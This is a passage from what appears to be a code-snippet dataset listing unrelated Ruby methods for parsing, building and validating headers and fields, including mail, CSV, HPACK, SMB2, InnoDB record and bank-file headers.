structure_hash[\"fields\"][\"dob\" ] = {\"data_type\"=>\"date\", \"file_field\"=>\"dob\" } if field_order.push(\"dob\" )\r\n structure_hash[\"fields\"][\"ethnicity\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"ethnicity\" } if field_order.push(\"ethnicity\" )\r\n structure_hash[\"fields\"][\"gender\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"gender\" } if field_order.push(\"gender\" )\r\n structure_hash[\"fields\"][\"mailing_address_1\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"mailing_address_1\" } if field_order.push(\"mailing_address_1\" )\r\n structure_hash[\"fields\"][\"mailing_address_2\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"mailing_address_2\" } if field_order.push(\"mailing_address_2\" )\r\n structure_hash[\"fields\"][\"mailing_city\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"mailing_city\" } if field_order.push(\"mailing_city\" )\r\n structure_hash[\"fields\"][\"mailing_zip\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"mailing_zip\" } if field_order.push(\"mailing_zip\" )\r\n structure_hash[\"fields\"][\"mailing_county\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"mailing_county\" } if field_order.push(\"mailing_county\" )\r\n structure_hash[\"fields\"][\"mailing_state\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"mailing_state\" } if field_order.push(\"mailing_state\" )\r\n structure_hash[\"fields\"][\"shipping_address_1\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"shipping_address_1\" } if field_order.push(\"shipping_address_1\" )\r\n structure_hash[\"fields\"][\"shipping_address_2\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"shipping_address_2\" } if field_order.push(\"shipping_address_2\" )\r\n structure_hash[\"fields\"][\"shipping_city\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"shipping_city\" } if field_order.push(\"shipping_city\" )\r\n structure_hash[\"fields\"][\"shipping_zip\" ] = {\"data_type\"=>\"int\", \"file_field\"=>\"shipping_zip\" } if field_order.push(\"shipping_zip\" )\r\n structure_hash[\"fields\"][\"shipping_county\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"shipping_county\" } if field_order.push(\"shipping_county\" )\r\n structure_hash[\"fields\"][\"shipping_state\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"shipping_state\" } if field_order.push(\"shipping_state\" )\r\n structure_hash[\"fields\"][\"region\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"region\" } if field_order.push(\"region\" )\r\n structure_hash[\"fields\"][\"work_im\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"work_im\" } if field_order.push(\"work_im\" )\r\n structure_hash[\"fields\"][\"employee_type\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"employee_type\" } if field_order.push(\"employee_type\" )\r\n structure_hash[\"fields\"][\"teacher_breakdown\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"teacher_breakdown\" } if field_order.push(\"teacher_breakdown\" )\r\n structure_hash[\"fields\"][\"department\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"department\" } if field_order.push(\"department\" )\r\n structure_hash[\"fields\"][\"department_id\" ] = {\"data_type\"=>\"int\", \"file_field\"=>\"department_id\" } if field_order.push(\"department_id\" )\r\n structure_hash[\"fields\"][\"department_category\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"department_category\" } if field_order.push(\"department_category\" )\r\n structure_hash[\"fields\"][\"department_focus\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"department_focus\" } if field_order.push(\"department_focus\" )\r\n structure_hash[\"fields\"][\"title\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"title\" } if field_order.push(\"title\" )\r\n structure_hash[\"fields\"][\"supervisor_team_id\" ] = {\"data_type\"=>\"int\", \"file_field\"=>\"supervisor_team_id\" } if field_order.push(\"supervisor_team_id\" )\r\n structure_hash[\"fields\"][\"peer_group_id\" ] = {\"data_type\"=>\"int\", \"file_field\"=>\"peer_group_id\" } if field_order.push(\"peer_group_id\" )\r\n structure_hash[\"fields\"][\"highest_degree\" ] = {\"data_type\"=>\"text\", \"file_field\"=>\"highest_degree\" } if field_order.push(\"highest_degree\" )\r\n structure_hash[\"fields\"][\"year_entered_education\" ] = {\"data_type\"=>\"int\", \"file_field\"=>\"year_entered_education\" } if field_order.push(\"year_entered_education\" )\r\n structure_hash[\"fields\"][\"active\" ] = {\"data_type\"=>\"bool\", \"file_field\"=>\"active\" } if field_order.push(\"active\" )\r\n \r\n structure_hash[\"field_order\"] = field_order\r\n return structure_hash\r\n end",
"def unpack_header(header)\n # fixed fields\n self.version = header.slice!(0)\n self.type = header.slice!(0)\n self.seq_no = header.slice!(0)\n self.flags = header.slice!(0)\n self.session_id = header.slice!(0..3)\n self.length = header.slice!(0..3)\n return(nil)\n end",
"def setup_header(dat)\n @headers = { to: to }\n dat.each do |key, val|\n key = key.to_s.downcase\n raise \"invalid field #{key}\" unless valid_fields.include?(key)\n @headers[key.to_sym] = val unless val.nil?\n end\n end",
"def validate_header!\n [:date, :from].each do |field|\n raise \"No '#{field}' header field provided\" unless self.send(field)\n end\n end",
"def parse_header_lines\n if @parsed_values[\"\"].nil? || @parsed_values[\"\"][1].nil?\n @parsed_values[\"\"] = {}\n return\n end\n\n headers = {}\n # Heading lines may have escaped newlines in them\n @parsed_values[\"\"][1].split(/\\\\n/).each do |line|\n next if line.size == 0\n\n if line =~ /(.*?):(.*)/\n key, value = $1, $2\n if headers[key] && headers[key].size > 0\n @errors << [\"Duplicate header line: #{line}\"]\n elsif key =~ /#-#-#-#-#/\n @errors << [\"Marker in header line: #{line}\"]\n else\n headers[key] = value\n end\n else\n @errors << [\"Malformed header #{line}\"]\n end\n end\n\n @parsed_values[\"\"] = headers\n end",
"def header(h, buffer = \"\")\n rep = HEADREP[h[:type]]\n\n if h[:type] == :indexed\n buffer << integer(h[:name], rep[:prefix])\n\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name]+1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n if h[:type] == :substitution\n buffer << integer(h[:index], 0)\n end\n\n if h[:value].is_a? Integer\n buffer << integer(h[:value], 0)\n else\n buffer << string(h[:value])\n end\n end\n\n # set header representation pattern on first byte\n fb = buffer[0].unpack(\"C\").first | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def headers\n @headers ||= begin\n @mail.header.fields.inject({}) do |memo, field|\n name = field.name.downcase.to_s\n next memo if self.class.skipped_headers.include?(name)\n\n header = unquoted_header(name)\n memo.update(name => self.class.unescape(header))\n end\n end\n end",
"def header_fields\n @csv.headers\n end",
"def validate_headers\n raise UnknownDataField, unknown_headers.join(',') if unknown_headers.present?\n end",
"def transmission_header(fields = {})\n return nil unless have_transmission_header?\n\n merged_fields = fields_for(self.class::TransmissionHeader).merge(fields)\n\n @transmission_header ||= self.class::TransmissionHeader.new(merged_fields)\n @transmission_header.tap do |head|\n head.instance_eval(&Proc.new) if block_given?\n end\n end",
"def headerlist; return ['X-MXL-NoteHash', 'X-MXL-Hash', 'X-MX-Bounce']; end",
"def headers\n @headers ||= begin\n mail = Mail.new(self.raw_headers)\n mail.header.fields.each_with_object({}) do |field, hash|\n hash[field.name.downcase] ||= []\n hash[field.name.downcase] << field.decoded\n end\n end\n end",
"def headers\n @headers ||= message.header_fields\n end",
"def []=(field, value)\n return unless value\n\n @headers[downcased(field)] = array_value(value)\n end",
"def add_fields(fields)\n\t\tend",
"def add_fields_to_request\n @fields.each do |f|\n @request += f + ',' if f\n end\n end",
"def initialize(fields)\n @fields = fields\n @signed_fields = fields['signed_field_names'].split(',')\n @unsigned_fields = fields['unsigned_field_names']&.split(',') || []\n end",
"def header(h, buffer = Buffer.new)\n rep = HEADREP[h[:type]]\n\n case h[:type]\n when :indexed\n buffer << integer(h[:name] + 1, rep[:prefix])\n when :changetablesize\n buffer << integer(h[:value], rep[:prefix])\n else\n if h[:name].is_a? Integer\n buffer << integer(h[:name] + 1, rep[:prefix])\n else\n buffer << integer(0, rep[:prefix])\n buffer << string(h[:name])\n end\n\n buffer << string(h[:value])\n end\n\n # set header representation pattern on first byte\n fb = buffer.ord | rep[:pattern]\n buffer.setbyte(0, fb)\n\n buffer\n end",
"def fields=(fields)\n\n h.fields = fields\n end",
"def populate_fields\n @header = populate_hmap_header\n string_t = @raw_data[header.strings_offset..-1]\n @bucktes = populate_buckets do |bucket|\n bucket_s = bucket.to_a.map do |key|\n string_t[key..-1].match(/[^\\0]+/)[0]\n end\n HMapBucketStr.new(*bucket_s)\n end\n end",
"def field_array(lines)\n entries = []\n text = lines.join\n text.scan(/^>.+<(.+)>\\n(.+\\n)+\\n/) do |name, data| \n entries << [name, data.chomp]\n end\n Hash[entries]\n end",
"def process_header(header)\n\n first_field, rest_of_header = header.split(':',2)\n\n if first_field == header\n\n # we have a field name, i.e. a dynamic field\n # puts \"we got a field name: \" + \"#{first_field}\"\n\n return add_child_field first_field\n\n else\n \n # error condition if there is nothing after the ':'\n return nil if rest_of_header == ''\n\n # puts \"First part of header: \" + \"#{first_field}\"\n # puts \"Second part of header: \" + \"#{rest_of_header}\"\n\n # we have a field_group name, i.e. a dynamic field group\n\n # puts \"Here is the first_field: #{first_field}\"\n dynamic_field_group_type = first_field.gsub(/\\d*/,'')\n # puts \"Here is the dynamic_field_group_type: #{dynamic_field_group_type}\"\n @child_field_groups[first_field] ||= Hyacinth::Utils::DynamicFieldGroupBuilder.new first_field, self\n # @child_dynamic_field_groups_by_type[dynamic_field_group_type] = {first_field => @child_field_groups[first_field]}\n # @child_dynamic_field_groups_by_type[dynamic_field_group_type] = { first_field => @child_field_groups[first_field] }\n @child_dynamic_field_groups_by_type[dynamic_field_group_type] = \n Hash.new unless child_dynamic_field_groups_by_type.has_key? dynamic_field_group_type\n @child_dynamic_field_groups_by_type[dynamic_field_group_type][first_field] = @child_field_groups[first_field]\n # @child_dynamic_field_groups_by_type[dynamic_field_group_type].store [first_field] = @child_field_groups[first_field]\n\n return @child_field_groups[first_field].process_header(rest_of_header)\n \n end\n\n end",
"def parse_header(io)\n\t variable_name = nil\n\t parse_pairs io do |code, value|\n\t\tcase code\n\t\t when '0' then next\n\t\t when '9'\n\t\t\tvariable_name = value\n\t\t else\n\t\t\theader[variable_name] = value\n\t\tend\n\t end\n\tend",
"def set_header_fields(request)\n request.smb2_header.tree_id = id\n request.smb2_header.credits = 256\n request\n end",
"def extract_field(header, val, processed)\n return if val.blank?\n case header\n when 'type', 'accession_number', 'id', 'status', 'ark', 'call_number', 'preservation_level', 'visibility'\n # single valued fields\n processed[header.to_sym] = val\n when /^(created|issued|date_copyrighted|date_valid)_(.*)$/\n key = \"#{Regexp.last_match(1)}_attributes\".to_sym\n # TODO: this only handles one date of each type\n processed[key] ||= [{}]\n update_date(processed[key].first, Regexp.last_match(2), val)\n when 'collection_id'\n processed[:collections] ||= []\n processed[:collections] << { id: val }\n else\n last_entry = Array(processed[header.to_sym]).last\n if last_entry.is_a?(Hash) && !last_entry[:name]\n update_typed_field(header, val, processed)\n else\n extract_multi_value_field(header, val, processed)\n end\n end\n end",
"def store_header #:nodoc:\n record = 0x0014 # Record identifier\n # length # Bytes to follow\n\n str = @header # header string\n cch = str.length # Length of header string\n encoding = @header_encoding # Character encoding\n\n\n # Character length is num of chars not num of bytes\n cch /= 2 if encoding != 0\n\n # Change the UTF-16 name from BE to LE\n str = str.unpack('v*').pack('n*') if encoding != 0\n\n length = 3 + str.length\n\n header = [record, length].pack('vv')\n data = [cch, encoding].pack('vC')\n\n prepend(header, data, str)\n end",
"def parse_header(string)\n {\n # identificação do registro header (conteúdo 0)\n :tipo_registro => string[0..0].to_i,\n # identificação do arquivo retorno\n :codigo_retorno => string[1..1],\n # identificação por extenso do tipo de movimento\n :literal_retorno => string[2..8],\n # identificação do tipo de serviço\n :codigo_servico => string[9..10],\n # identificação por extenso do tipo de serviço\n :literal_servico => string[11..25],\n # código da empresa no bradesco\n :codigo_empresa => string[26..45].strip,\n # razão social da empresa\n :razao_social => string[46..75],\n # número do banco na câmara de compensação\n :codigo_banco => string[76..78],\n # nome por extenso do banco cobrador\n :nome_banco => string[79..93].strip,\n # data de geração do arquivo\n :data_geracao => convert_date(string[94..99]),\n # brancos\n #:brancos1 => string[100..107],\n # número aviso bancário\n :numero_aviso_bancario => string[108..112],\n # brancos\n #:brancos2 => string[113..378],\n # data de crédito dos lançamentos\n :data_credito => convert_date(string[379..384]),\n # brancos\n #:brancos3 => string[385..393],\n # número sequencial do registro no arquivo\n :numero_sequencial => string[394..399]\n }\n end",
"def construct_header(headers:)\n if v = headers[TRACE_HEADER_PROXY] || headers[TRACE_HEADER]\n TraceHeader.from_header_string header_str: v\n else\n TraceHeader.empty_header\n end\n end",
"def get(field)\n @headers[field] || EMPTY\n end",
"def grab_header\n return @header if (@header and [email protected]?)\n @file.rewind\n fields.each_with_index do |field_name, i|\n @header[i]= field_name.strip\n end\n @header\n end",
"def [](field)\n a = @headers[downcased(field)] || return\n a.join(\", \")\n end",
"def decode_fields(raw, fields, offset=0)\n hash = {}\n total_read = 0\n\n fields.each do |key, type, *args|\n hash[key], read = case type\n when :string\n decode_string(raw, offset + total_read, *args)\n when :list\n decode_list(raw, offset + total_read, *args)\n when :mpint\n decode_mpint(raw, offset + total_read, *args)\n when :time\n decode_time(raw, offset + total_read, *args)\n when :uint64\n decode_uint64(raw, offset + total_read, *args)\n when :uint32\n decode_uint32(raw, offset + total_read, *args)\n when :public_key\n decode_public_key(raw, offset + total_read, *args)\n when :string_public_key\n decode_string_public_key(raw, offset + total_read, *args)\n when :options\n decode_options(raw, offset + total_read, *args)\n else\n raise DecodeError\n end\n total_read += read\n end\n\n [hash, total_read]\n end",
"def fields\n @fields ||= []\n end",
"def process_header_repeatable_field_names_do_not_have_numbers(header)\n\n child_field_group = nil\n\n first_field, rest_of_header = header.split(':',2)\n\n if first_field == header\n\n # we have a field name, i.e. a dynamic field\n # puts \"we got a field name: \" + \"#{first_field}\"\n\n return add_child_field first_field\n\n else\n \n # error condition if there is nothing after the ':'\n return nil if rest_of_header == ''\n\n # puts \"First part of header: \" + \"#{first_field}\"\n # puts \"Second part of header: \" + \"#{rest_of_header}\"\n\n # we have a field_group name, i.e. a dynamic field group\n\n # If the child field group does not exist, create one if needed.\n # first, see if there is even one already created\n if !( @child_field_groups.has_key? first_field )\n\n puts \"Key: #{first_field} not found\"\n\n child_field_group = Hyacinth::Utils::DynamicFieldGroupBuilder.new first_field, self\n @child_field_groups[first_field] = child_field_group\n\n else\n\n # even though we already have a DynamicFieldGroupBuilder created for this type of dynamic field group,\n # this may be a repeatable field, which means we need to create a new one if needed. The heuristic we use\n # here is that if we try to set a field that already exists, then this must be the next instance in a \n # repeatable field group\n if (@child_field_groups[first_field].field_exists? rest_of_header)\n\n # field exists, so start a new dynamic field\n child_field_group = Hyacinth::Utils::DynamicFieldGroupBuilder.new first_field, self\n \n else\n\n # use existing one\n child_field_group = @child_field_groups[first_field]\n \n end\n\n end\n\n return @child_field_groups[first_field].process_header_repeatable_field_names_do_not_have_numbers(rest_of_header)\n \n end\n\n end",
"def process_header_old(header)\n\n first_field, rest_of_header = header.split(':',2)\n\n if first_field == header\n\n # we have a field name, i.e. a dynamic field\n # puts \"we got a field name: \" + \"#{first_field}\"\n\n return add_child_field first_field\n\n else\n \n # error condition if there is nothing after the ':'\n return nil if rest_of_header == ''\n\n # puts \"First part of header: \" + \"#{first_field}\"\n # puts \"Second part of header: \" + \"#{rest_of_header}\"\n\n # we have a field_group name, i.e. a dynamic field group\n\n # If the field group does not exist, create one\n @child_field_groups[first_field] ||= Hyacinth::Utils::DynamicFieldGroupBuilder.new first_field, self\n\n return @child_field_groups[first_field].process_header(rest_of_header)\n \n end\n\n end",
"def headers_from_array(arr)\n clear_headers\n arr = arr.split(\"\\r\\n\\r\\n\").first if arr.class == String\n arr.each do |line|\n next if (line.empty? || line =~ /^(GET|POST)/)\n k,v = line.split(\":\",2)\n self.headers[k.strip] = v.strip\n end\n nil\n end",
"def init_headers!(names = [])\r\n names = [names] unless names.is_a?(Array)\r\n @headers = []\r\n names.each_with_index {|name, i| @headers[i] = name}\r\n end",
"def parse_header(string)\n {\n # identificação do registro header\n :tipo_registro => string[0..0].to_i,\n # identificação do arquivo retorno\n :codigo_retorno => string[1..1],\n # identificação por extenso do tipo de movimento\n :literal_retorno => string[2..8],\n # identificação do tipo de serviço\n :codigo_servico => string[9..10],\n # identificação por extenso do tipo de serviço\n :literal_servico => string[11..25],\n # agência mantenedora da conta\n :agencia => string[26..29],\n # complemento de registro\n :zeros => string[30..31],\n # número da conta corrente da empresa\n :conta => string[32..36],\n # dígito de auto-conferência ag/conta empresa\n :dac => string[37..37],\n # complemento do registro\n #:brancos1 => string[38..45],\n # nome por extenso da \"empresa mãe\"\n :nome_empresa => string[46..75],\n # número do banco na câmara de compensação\n :codigo_banco => string[76..78],\n # nome por extenso do banco cobrador\n :nome_banco => string[79..93].strip,\n # data de geração do arquivo\n :data_geracao => string[94..99],\n # unidade de densidade\n :densidade => string[100..104],\n # densidade de gravação do arquivo\n :unidade_densidade => string[105..107],\n # número sequencial do arquivo retorno\n :numero_sequencial_arquivo_retorno => string[108..112],\n # data de crédito dos lançamentos\n :data_credito => string[113..118],\n # complemento do registro\n #:brancos2 => string[119..393],\n # número sequencial do registro no arquivo\n :numero_sequencial => string[394..399]\n }\n end",
"def []=(name, value)\n name = dasherize(name)\n if name.include?(':')\n raise ArgumentError, \"Header names may not contain a colon: #{name.inspect}\"\n end\n fn = name.downcase\n selected = select_field_for(fn)\n \n case\n # User wants to delete the field\n when !Utilities.blank?(selected) && value == nil\n fields.delete_if { |f| selected.include?(f) }\n \n # User wants to change the field\n when !Utilities.blank?(selected) && limited_field?(fn)\n selected.first.update(fn, value)\n \n # User wants to create the field\n else\n # Need to insert in correct order for trace fields\n self.fields << Field.new(name.to_s, value, charset)\n end\n if dasherize(fn) == \"content-type\"\n # Update charset if specified in Content-Type\n params = self[:content_type].parameters rescue nil\n @charset = params[:charset] if params && params[:charset]\n end\n end",
"def header(hstring=nil)\n @header ||= []\n case hstring\n when Array\n @header = hstring\n when String\n @header << hstring\n when nil\n @header\n end\n end",
"def fields\n @fields ||= FieldList.new\n end",
"def record_header_redundant_additional(header, cursor)\n lengths = []\n nulls = []\n externs = []\n\n field_offsets = record_header_redundant_field_end_offsets(header, cursor)\n\n this_field_offset = 0\n field_offsets.each do |n|\n case header.offset_size\n when 1\n next_field_offset = (n & RECORD_REDUNDANT_OFF1_OFFSET_MASK)\n lengths << (next_field_offset - this_field_offset)\n nulls << ((n & RECORD_REDUNDANT_OFF1_NULL_MASK) != 0)\n externs << false\n when 2\n next_field_offset = (n & RECORD_REDUNDANT_OFF2_OFFSET_MASK)\n lengths << (next_field_offset - this_field_offset)\n nulls << ((n & RECORD_REDUNDANT_OFF2_NULL_MASK) != 0)\n externs << ((n & RECORD_REDUNDANT_OFF2_EXTERN_MASK) != 0)\n end\n this_field_offset = next_field_offset\n end\n\n # If possible, refer to fields by name rather than position for\n # better formatting (i.e. pp).\n if record_format\n header.lengths = {}\n header.nulls = []\n header.externs = []\n\n record_fields.each do |f|\n header.lengths[f.name] = lengths[f.position]\n header.nulls << f.name if nulls[f.position]\n header.externs << f.name if externs[f.position]\n end\n else\n header.lengths = lengths\n header.nulls = nulls\n header.externs = externs\n end\n end",
"def fields\n @fields ||= []\n end",
"def header_build\n header = \"customer name\" + @delimiter + \"gender\" + @delimiter\n header += \"age\" + @delimiter + \"birthday\" + @delimiter + \"cpf\" + @delimiter + \"id\" + @delimiter\n header += \"state\" + @delimiter + \"city\" + @delimiter + \"street\" + @delimiter + \"zip_code\" + @delimiter\n header += \"company name\" + @delimiter + \"industry\" + @delimiter + \"cnpj\"\n header\nend",
"def write_header(primary_key, fields)\n # 5 == field_header + field_footer size\n total_size = fields.inject(0){|sum,field| sum += (field || '').size + 5}\n # 13 == record header + record footer\n total_size += 13\n @io.write [total_size, primary_key].pack(\"VV\") \n end",
"def make_load_header(text_line)\n EdiHelper::edi_log.write \"LI PreProcessor: Creating missing LH record from LD record...\",0\n\n detail_data = RawFixedLenRecord.new('LI', 'LD', text_line)\n header_data = RawFixedLenRecord.new('LI', 'LH')\n ignore_fields = ['load_date', 'instruction_quantity']\n line = header_data.populate_with_values_from( detail_data, ignore_fields )\n\n EdiHelper::edi_log.write \"LI PreProcessor: Created missing LH record from LD record.\",0\n line\n end",
"def fields #:nodoc:\n f = @properties.to_a\n last = f.pop\n f.push @elements\n f.push last\n end",
"def fields; h.fields; end",
"def postmark_headers\n array = []\n header_fields.each do |field|\n key = field.name.downcase\n # @see https://github.com/wildbit/postmark-gem/blob/master/lib/postmark/message_extensions/mail.rb#L74\n # @see https://github.com/wildbit/postmark-gem/pull/36#issuecomment-22298955\n unless %w(from to cc bcc reply-to subject tag content-type date).include?(key) || (Array === field.value && field.value.size > 1)\n array << {'Name' => field.name, 'Value' => field.value}\n end\n end\n array\n end",
"def header; message[:header]; end",
"def history_fields *fields\n history_fields = fields.map(&:to_s)\n\n define_method(:history_fields) do\n history_fields\n end\n end",
"def init_fields(args={})\n args[:timestamp] = Timestamp.new(:endian => args[:endian]).read(args[:timestamp])\n args[:incl_len] = args[:incl_len].nil? ? @int32.new(args[:data].to_s.size) : @int32.new(args[:incl_len])\n args[:orig_len] = @int32.new(args[:orig_len])\n args[:data] = StructFu::String.new.read(args[:data])\n end",
"def parse_headers raw_headers\n\t\theaders = Hash.new\n\n\t\t# Store values as hash, but don't include duplicate values\n\t\tremove_fws(raw_headers).map do |line|\n\t\t\tkey, value = line.split(\": \", 2)\n\t\t\theaders[key] ||= []\n\t\t\theaders[key] << value unless headers[key].include? value\n\t\tend\n\n\t\t# Pop value from array if there's only one value\n\t\theaders.each{ |key, value| headers[key] = value.pop if value.length == 1 }\n\tend",
"def update_header_vars\r\n @encrypted, @last_rec_no, @del_ctr, @record_class, @col_names, \\\r\n @col_types, @col_indexes, @col_defaults, @col_requireds, \\\r\n @col_extras = @db.engine.get_header_vars(self)\r\n\r\n # These are deprecated.\r\n @field_names = @col_names\r\n @field_types = @col_types\r\n @field_indexes = @col_indexes\r\n @field_defaults = @col_defaults\r\n @field_requireds = @col_requireds\r\n @field_extras = @col_extras\r\n end",
"def arrange_representative_header header\n head={\"FIRST NAME\" => \"first_name\",\n \"LAST NAME\" => \"last_name\",\n \"EMAIL\" => \"email\",\n \"UIN\" => \"uin\",\n \"FULL ACADEMIC UNIT NAME\" => \"academic_unit_name\",\n \"COLLEGE\" => \"college\"\n }\n arranged_header=[]\n header.each do |k|\n arranged_header.push head[k]\n end\n return arranged_header\n end",
"def initialize(keys)\n @header = []\n @keys = keys\n end",
"def record_header(cursor)\n origin = cursor.position\n header = RecordHeader.new\n cursor.backward.name(\"header\") do |c|\n case page_header.format\n when :compact\n # The \"next\" pointer is a relative offset from the current record.\n header.next = c.name(\"next\") { origin + c.read_sint16 }\n\n # Fields packed in a 16-bit integer (LSB first):\n # 3 bits for type\n # 13 bits for heap_number\n bits1 = c.name(\"bits1\") { c.read_uint16 }\n header.type = RECORD_TYPES[bits1 & 0x07]\n header.heap_number = (bits1 & 0xfff8) >> 3\n when :redundant\n # The \"next\" pointer is an absolute offset within the page.\n header.next = c.name(\"next\") { c.read_uint16 }\n\n # Fields packed in a 24-bit integer (LSB first):\n # 1 bit for offset_size (0 = 2 bytes, 1 = 1 byte)\n # 10 bits for n_fields\n # 13 bits for heap_number\n bits1 = c.name(\"bits1\") { c.read_uint24 }\n header.offset_size = (bits1 & 1).zero? ? 2 : 1\n header.n_fields = (bits1 & (((1 << 10) - 1) << 1)) >> 1\n header.heap_number = (bits1 & (((1 << 13) - 1) << 11)) >> 11\n end\n\n # Fields packed in an 8-bit integer (LSB first):\n # 4 bits for n_owned\n # 4 bits for flags\n bits2 = c.name(\"bits2\") { c.read_uint8 }\n header.n_owned = bits2 & 0x0f\n header.info_flags = (bits2 & 0xf0) >> 4\n\n case page_header.format\n when :compact\n record_header_compact_additional(header, cursor)\n when :redundant\n record_header_redundant_additional(header, cursor)\n end\n\n header.length = origin - cursor.position\n end\n\n header\n end",
"def headers\n\t\t\thdr = @curb.header_str\n\t\t\tself.class.recode(log?, @curb.content_type, hdr) ?\n\t\t\t\tself.class.parse_headers(hdr) :\n\t\t\t\tself.class.parse_headers(@curb.header_str) # recode failed\n\t\tend",
"def record_fields\n record_format.values_at(:key, :sys, :row).flatten.sort_by(&:position) if record_format\n end",
"def media_object_fields\n fields.select { |field| media_object_header?(field.header) }\n end",
"def get_fields(fbe_value, fbe_struct_size)\n fbe_current_size = 4 + 4\n\n if (fbe_current_size + id.fbe_size) <= fbe_struct_size\n fbe_value.id = id.get\n else\n fbe_value.id = 0\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += id.fbe_size\n\n if (fbe_current_size + symbol.fbe_size) <= fbe_struct_size\n fbe_value.symbol = symbol.get\n else\n fbe_value.symbol = ''\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += symbol.fbe_size\n\n if (fbe_current_size + side.fbe_size) <= fbe_struct_size\n fbe_value.side = side.get\n else\n fbe_value.side = OrderSide.new\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += side.fbe_size\n\n if (fbe_current_size + type.fbe_size) <= fbe_struct_size\n fbe_value.type = type.get\n else\n fbe_value.type = OrderType.new\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += type.fbe_size\n\n if (fbe_current_size + price.fbe_size) <= fbe_struct_size\n fbe_value.price = price.get(0.0)\n else\n fbe_value.price = 0.0\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += price.fbe_size\n\n if (fbe_current_size + volume.fbe_size) <= fbe_struct_size\n fbe_value.volume = volume.get(0.0)\n else\n fbe_value.volume = 0.0\n end\n # noinspection RubyUnusedLocalVariable\n fbe_current_size += volume.fbe_size\n end",
"def normalize_header!\n @gsi.dsc = HeaderOption::DSC::TELETEXT_LEVEL_2\n @gsi.lc = @gsi.lc.to_i.to_s.rjust(2,'0')\n @gsi.tnb = @gsi.tnb.to_i.to_s.rjust(5,'0')\n @gsi.tns = @gsi.tns.to_i.to_s.rjust(5,'0')\n @gsi.tng = @gsi.tng.to_i.to_s.rjust(3,'0')\n @gsi.tcp = @gsi.tcp[0..1].to_i.to_s.ljust(2,'0') + \n @gsi.tcp[2..3].to_i.to_s.ljust(2,'0') +\n @gsi.tcp[4..5].to_i.to_s.ljust(2,'0') +\n @gsi.tcp[6..7].to_i.to_s.ljust(2,'0')\n @gsi.tcf = @gsi.tcf[0..1].to_i.to_s.ljust(2,'0') +\n @gsi.tcf[2..3].to_i.to_s.ljust(2,'0') +\n @gsi.tcf[4..5].to_i.to_s.ljust(2,'0') +\n @gsi.tcf[6..7].to_i.to_s.ljust(2,'0')\n @gsi.co = @gsi.co.upcase\n end",
"def field_names\n internal_format.keys\n end",
"def parse_header(header_line)\n check_element_size(header_line.length)\n\n @name = header_line[0]\n @domain_x = DataDomain.new(header_line[1], header_line[2], \\\n header_line[3], header_line[4])\n @domain_y = DataDomain.new(header_line[5], header_line[6], \\\n header_line[7], header_line[8])\n\n check_and_create_third_domain(header_line)\n end",
"def update_typed_field(header, val, processed)\n if header.match?(type_header_pattern)\n stripped_header = header.gsub('_type', '')\n processed[stripped_header.to_sym] ||= []\n processed[stripped_header.to_sym] << { type: val }\n else\n fields = Array(processed[header.to_sym])\n fields.last[:name] = val\n end\n end",
"def fields\n return @fields if defined?(@fields)\n\n @fields = array_of_items_for(Fields, :fields)\n end",
"def get_headers\nheader_values = {}\n i = 1\n # while !params[:header][:type_.to_s + \"#{i}\"].nil?\n while !params[:header_values_.to_s + \"#{i}\"].nil?\n\t value = params[:header_values_.to_s + \"#{i}\"].map!{|i| CGI::unescape(i).gsub(\"\\\"\", \"'\")}\n \theader_values[params[:header][:type_.to_s + \"#{i}\"]] = value\n i += 1\n end\n header_values\nend",
"def string_order_fields(arrfields)\n\tstrres = \" \"\n\tl = 0\n\tarrfields.each do |af|\n\t l += 1\n\t if l > 1\n\t strres += \", \"\n\t end\n\t strres += af[1][\"ordfield\"]+\" \"+af[1][\"ascdesc\"]\n\tend\n\treturn strres\n end",
"def headers\n @headers.reject {|k, v| k == :body }.map do |k, v|\n translate_header_name(k) + ': ' + v + \"\\n\"\n end.join\n end",
"def header(buf)\n peek = buf.readbyte(0)\n\n header = {}\n header[:type], type = HEADREP.select do |t, desc|\n mask = (peek >> desc[:prefix]) << desc[:prefix]\n mask == desc[:pattern]\n end.first\n\n header[:name] = integer(buf, type[:prefix])\n if header[:type] != :indexed\n header[:name] -= 1\n\n if header[:name] == -1\n header[:name] = string(buf)\n end\n\n if header[:type] == :substitution\n header[:index] = integer(buf, 0)\n end\n\n header[:value] = string(buf)\n end\n\n header\n end",
"def initialize(fields, first_field_val, hidden)\n\t\t@fields = fields.map{|field| field.downcase}\n\t\t@hidden_fields = hidden.map{|hiddenField| hiddenField.downcase}\n\t\t@name = first_field_val.downcase\n\t\t@data = Hash.new\n\n\t\t@fields[1..-1].each{|field|\n\t\t\t@data[field] = Array.new\n\t\t}\n\tend",
"def header=(hdr)\n order_check(hdr)\n hdr.each {|s| raise \"Header must contain strings\" if ! s.kind_of? String }\n @header = hdr\n end",
"def update_typed_field(header, val, processed)\n if header.match(type_header_pattern)\n stripped_header = header.gsub('_type', '')\n processed[stripped_header.to_sym] ||= []\n processed[stripped_header.to_sym] << { type: val }\n else\n fields = Array(processed[header.to_sym])\n fields.last[:name] = val\n end\n end",
